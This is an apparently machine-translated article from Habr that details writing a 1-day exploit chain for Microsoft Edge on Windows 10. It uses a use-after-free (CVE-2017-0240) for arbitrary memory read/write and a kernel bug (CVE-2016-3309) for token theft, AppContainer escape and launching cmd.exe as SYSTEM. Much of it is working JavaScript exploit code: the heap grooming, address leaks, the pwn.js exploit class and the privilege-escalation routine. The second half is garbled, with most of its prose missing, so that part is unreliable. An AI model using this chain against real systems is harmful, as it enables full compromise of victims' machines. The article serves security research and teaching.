In this article, we will examine in some detail the process of writing an exploit for a vulnerability in Microsoft Edge, followed by exiting the sandbox. If you are interested to know how this process looks like, then welcome under the cat!
At the last Pwn2Own 2019
in Montreal, an exploit for hacking Microsoft Edge
was demonstrated in the browsers category. For this, two vulnerabilities were used: double free
in the renderer and logical vulnerability to exit the sandbox. These two vulnerabilities were recently closed and assigned to the appropriate CVE
: CVE-2019-0940
and CVE-2019-0938
. You can read more about vulnerabilities in the blog: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1 and Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Part 2 .
In our article, we want to show the process of writing such an exploit and how much time and resources are needed for this using the example of the same Microsoft Edge
on Windows 10
using CVE-2017-0240
and CVE-2016-3309
. One of the differences will be that if the exploit demonstrated on Pwn2Own
used a logical vulnerability to exit the sandbox, in our scenario, the vulnerability in the Windows 10
kernel will be used to exit the sandbox. As the patches from Microsoft
show, there are much more vulnerabilities in the core than vulnerabilities in the sandbox implementation. As a result, such a chain of vulnerabilities is much more likely to be found, and it will be useful to know the information security officers in companies.
This article will cover the process of writing a 1-day exploit for the Microsoft Edge
browser. CVE-2017-0240
will be operated. The first stage of operation will be made on the basis of materials from the source [1], we will get an arbitrary address read/write
primitive, as well as get acquainted with various techniques that may be useful in the operation of such vulnerabilities. Next will be familiarity with the pwn.js
tool, which will help get a call to arbitrary functions based on random read and write, various mitigations
and ways to circumvent them will also be considered. At the last stage, the Windows kernel vulnerability CVE-2016-3309
will be exploited to elevate privileges, bypass AppContainer
restrictions and gain complete control over the machine under AppContainer
.
Operation will be carried out at the booth with Microsoft Windows 10 Pro 1703 (10.0.15063)
and Microsoft Edge (40.15063.0.0)
browser Microsoft Edge (40.15063.0.0)
.
arbitrary address read/write
primitiveOOB
The use-after-free
vulnerability is present in the copyFromChannel method of the Audio Buffer object.
AudioBuffer is an interface of a short audio resource (audio asset) stored in memory and created from an audio file using the AudioContext.decodeAudioData () method, or from source data using the AudioContext.createBuffer () method. Audio data placed in an AudioBuffer can be played in an AudioBufferSourceNode.
The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
presentation provides a detailed analysis of the vulnerability and patch. When you call the copyFromChannel
method, the contents of the audio buffer channel are copied into the destination
buffer specified by the first argument. The method also accepts the channel number ( channelNumber
) and the offset in the audio buffer ( startInChannel
), from which it is necessary to make a copy. Before directly copying the data to the destination
, the CDOMAudioBuffer::Var_copyFromChannel
function CDOMAudioBuffer::Var_copyFromChannel
destination
buffer (the address and buffer size are stored in local variables of the functions on the stack) and converts the values of the channelNumber
and startInChannel
to the Int
type, for which the valueOf
method of the transformed objects is called. The vulnerability is that the cached buffer can be freed at the time of type conversion in the overridden valueOf
method of the object. For verification, we use the following code:
// , var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); // - var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; // valueOf var obj = { valueOf: function () { // var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; // sleep(1000); return 0; } }; // audioBuf.copyFromChannel(t2, obj, 0);
To free the buffer, this code uses the Web Workers
technology. Having created an empty Worker
, we can send him a message using the postMessage
method. The second optional transfer
argument of this method takes an array of Transferable
objects ( ArrayBuffer
, MessagePost
or ImageBitmap
), the rights to the object will be transferred to the Worker
and the object will no longer be available in the current context, so it can be deleted. After this, the call to sleep
occurs - a function that provides a temporary stop to the program execution (implemented independently). This is necessary in order for the garbage collection system ( GC
, Garbage Collector
) to manage to free the buffer, the rights to which were transferred.
Web Workers provide an easy way to run scripts in a background thread. The Worker thread can perform tasks without interfering with the user interface. In addition, they can perform input / output using XMLHttpRequest (although the responseXML and channel attributes will always be null). An existing Worker can send JavaScript messages to the creator code via the event handler specified by this code (and vice versa).
By running this code in Edge under the debugger, you can get the following crash.
As a result, the copyFromChannel
call copyFromChannel
to copy the contents of the audio buffer to a non-localized memory area. To exploit the vulnerability, it is necessary to achieve allocation of any objects in this memory area. In this case, the array segment is perfect.
Arrays in Chakra
( JS
engine used in the Edge
browser) are arranged as follows: an array object has a fixed size, the pointers to the array objects themselves (or values, in the case of IntArray
) are stored in a separate memory area - a segment, the pointer to which is contained in the object array. The segment header contains various information, including the segment size, which corresponds to the size of the array. The size of the array is also present in the array object itself. Schematically it looks like this:
Thus, if we manage to allocate an array segment in a previously freed space, then we will be able to overwrite the header of the array segment with the contents of the audio buffer. To do this, modify the code above, adding to the following lines after sleep(1000);
:
... /* , . arr */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ...
The size of the arrays is selected in such a way that the size of the array segment takes up a whole heap segment (the minimum indivisible part of the heap memory whose size is 0x10000 bytes). Run this code, specifying the memcpy
function as a breakpoint (there will be many memcpy
calls, so it makes sense to stop first at the edgehtml!WebCore::AudioBufferData::copyBufferData
) at which the crash occurred. We get the following result:
Fine! Now we can rewrite the header of the array segment with our own values. The most interesting values in this case are the size of the array, the offset of which we can see in the screenshot above. Change the contents of the audio buffer as follows:
... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ...
Pay attention to the values of ta2[14]
and ta2[15]
- they already refer not to the header of the segment, but to the values of the array itself. Using this, we can determine the array we need in the global arr
array as follows:
... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } }
If the result was an array, the first two elements of which were modified in a certain way, then everything is fine. Now we have an array whose segment size is larger than it actually is. The remaining arrays can be freed.
Here it is necessary to recall that the size of the array exists in two entities: in the object of the array, where it remains unchanged, and in the segment of the array, where we increased it. It turns out that the size in the array object is ignored if the code is executed in the JIT
mode and has been optimized. This is easily achieved, for example, as follows:
function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); }
After that, using the functions arr_get
and arr_set
you can access the bounds of the array ( OOB
, out-of-bound
).
OOB
to get a read and write primitive to an arbitrary addressIn this section, we consider a technique that allows reading and writing at an arbitrary address using OOB
. The method by which we get this will be similar to the one used in source [1], but there will also be significant changes.
In the used Edge
version, heap memory blocks are allocated sequentially, due to which, if a large number of objects are selected, sooner or later they will end up after an array segment, beyond which we can turn.
First, it gives us the opportunity to read a pointer to a virtual table of object methods ( vftable
), so that we can bypass the randomization of the process address space ( ASLR
). But access to what objects will help us to achieve random read and write? A couple of DataView
objects are great for this.
The DataView provides a low-level interface for reading and writing numerous numeric types in a binary ArrayBuffer, regardless of the byte order of the platform.
The internal structure of the DataView
contains a pointer to a buffer. To read and write to an arbitrary address, for example, we can build a chain of two DataView
( dv1
and dv2
) as follows: specify dv2
as the dv1
buffer by addressing outside the array. Now, with the help of dv1
we can change the address of the dv2
buffer, due to which arbitrary read and write is achieved. It can be schematically depicted as follows:
To use this method, you need to learn how to identify the addresses of objects in memory. For this, the following technique exists: it is necessary to create a new Array
, use the OOB
to save its vftable
and typeId
(the first two 64-bit fields of the structure) and assign an object to the first element of the array whose address we are interested in. Then, you must restore the previously saved vftable
and typeId
. Now the low and high double words of the object address can be obtained by referring to the first and second elements of the array. The fact is that by default the new array is IntArray
, and its segment contains 4-byte array values as they are. When an array is assigned to an object, the array is converted to an ObjectArray
, and its segment is used to store the addresses of the objects. During conversion, vftable
and typeId
. Accordingly, if we restore the original values of vftable
and typeId
, through the elements of this array we can directly access the segment. Schematically described process can be represented as follows:
The function for getting the address will be as follows:
function addressOf(obj) { var hdr_backup = new Array(4); // vftable typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; // vftable typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); // return [intarr_object[0], intarr_object[1]]; }
An open question is the creation of necessary objects and their search using OOB
. As mentioned earlier, when allocating a large number of objects, sooner or later they will start to stand out after the array segment, beyond which we can turn. To find the necessary objects, you just need to go through the indices outside the array in the search for the necessary objects. Because all objects of the same type are located in the same heap segment, you can optimize the search and go through the heap segments in increments of 0x10000
, and check only the first few values from the beginning of each heap segment. To identify objects, you can set them unique values of any parameters (for example, for a DataView
this can be byteOffset
) or, using already known constants in the object structure (for example, in the used Edge
version in IntArray
at 0x18
offset is always 0x10005
).
Combining all the above techniques, you can get a read and write to an arbitrary address. Below is a screenshot of the reading memory of DataView
objects.
At this stage, we have the ability to read and write to an arbitrary address within the process of displaying content Edge
. Consider the basic technologies that should prevent the further operation of the application and means to circumvent them. We have already written a small series of articles app specific security mitigation
( part 1, introductory , part 2, Internet Explorer and Edge , part 3, Google Chrome ), but you should keep in mind that developers are not standing still and are adding new tools to their products protection.
ASLR
)ASLR (English address space layout randomization) is a technology used in operating systems, which randomly changes the location of important data structures in the address space of the process, namely: executable file images, loadable libraries, heaps and stack.
Above, we learned how to read virtual class table addresses using them; we can easily calculate the base address of the Chakra.dll
module, so ASLR
does not pose problems for further operation.
DEP
, NX
)Data Execution Prevention (Eng. Dáta Execution Prevéntion, DEP) is a security feature built into Linux, Mac OS X, Android and Windows that prevents an application from executing code from a memory area marked as “data only”. It will prevent some attacks that, for example, save code in such an area using a buffer overflow.
One way to bypass this protection is to call VirtualAlloc
using ROP
chains. But in the case of Edge
this method will not work because of ACG
(see below).
CFG
)CFG
is a protection mechanism aimed at complicating the exploitation of binary vulnerabilities in user and kernel-mode applications. The work of this mechanism is to validate implicit calls (indirect calls) that prevent an attacker from intercepting the flow of execution (for example, by rewriting the virtual function table)
This technology controls only indirect calls, for example, calls to methods from a virtual table of object functions. Return addresses on the stack are not monitored, and this can be used to build ROP
chains. In the future, the use of ROP/JOP/COP
chains may be hindered by Intel
technology: Control-flow Enforcement Technology
( CET
). This technology consists of two parts:
Shadow Stack
is used to control return addresses and protects against ROP
chains;Indirect Branch Tracking
is a method of protection against JOP/COP
chains. It is a new instruction ENDBRANCH
, which marks all valid transition addresses for call
and jmp
instructions.ACG
)ACG
is a technology that prevents dynamic code generation (it is not allowed to allocate therwx
memory area usingVirtaulAlloc
) and its modifications (it is impossible to remap the existing memory area as executable)
This protection, like CFG
, does not prevent the use of ROP
chains.
AppContainer is a Microsoft technology that allows you to isolate the process by running it in a sandbox environment. This technology limits the process access to credentials, devices, file system, network, other processes and windows and is aimed at minimizing the possibilities of malware that has the ability to execute arbitrary code in the process.
This protection greatly complicates the process of operation. Because of this, we cannot call third-party executable files or access sensitive user information in memory or on disks. However, this protection can be overcome by using vulnerabilities in the implementation of the AppContainer sandbox or by elevating privileges through exploiting vulnerabilities in the OS kernel.
It is worth noting that Microsoft
has a separate rewards program for security mitigation
bypass techniques. The program states that the reuse of executable code (building ROP
chains is a type of this technique) does not fall under the program, since is an architectural problem.
From the analysis of all protection technologies, it follows that in order to be able to execute arbitrary code, it is necessary to bypass the AppContainer
sandbox. In this article we will describe a method using the Windows
kernel vulnerability. At the same time, we can only use the JS
code and ROP
chains. Writing an exploit for the kernel using only ROP
chains can be very difficult. To simplify this task, you can find a set of gadgets with which we could call the necessary WinAPI
methods. Fortunately, this is already implemented in the pwn.js
library. Using it, describing only the read
and write
functions for random reading and writing, you can get a convenient API
for finding the necessary WinAPI
functions and calling them. Also pwn.js
provides a handy tool for working with 64-bit values and pointers and tools for working with structures.
Consider a simple example. In the previous step, we got a chain of two related DataView
. To prepare an exploit, you need to create the following class:
var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... // arbitrary address read/write ... // DataView, this.dv = ...; // DataView, this.dv this.dv_offset = ...; // Chakra.dll, , var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })();
, MessageBoxA
:
function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } }
:
WinAPI
. . CVE-2016-3309
. [7] [8], pwn.js
[2] , GDI
-. [9], [10] [11]. . , . , AppContainer
, pwn.js
. cmd.exe
SYSTEM
.
GDI — Windows , , .
, . JS
- 64- kernel_read_64
kernel_write_64
, . Windows. BITMAP
, . pwn.js
. BITMAP
, , :
var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]);
Tid
KTHREAD
, , , EmpCheckErrataList
, . , :
... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config , empCheckErrataList WinDbg : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ...
, AppContainer
. AppContainer
IsPackagedProcess
( Process Environment Block
, PEB
), . Access Token
, AppContainer
. Access Token
, . Access Token
, . EPROCESS
ActiveProcessLinks
, . PEB
EPROCESS
. PsInitialSystemProcess
, , ActiveProcessLinks
.
Edge
: , Edge
. SYSTEM
. , , winlogon.exe
.
pwn.js
:
// PEB var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /* IsPackagedProcess peb char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /* WinDbg . : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe - , cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); // // Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); // winlogon.exe if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } // ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } // var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); // // winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); // kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /* AppContainer, winlogon.exe winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);
:
:
Edge
Windows
, 13 , CVE-2017-0240
, . CVE-2016-3309
.JS
JS
cmd.exe
SYSTEM
,, , . , , . .
Source: https://habr.com/ru/post/455594/
All Articles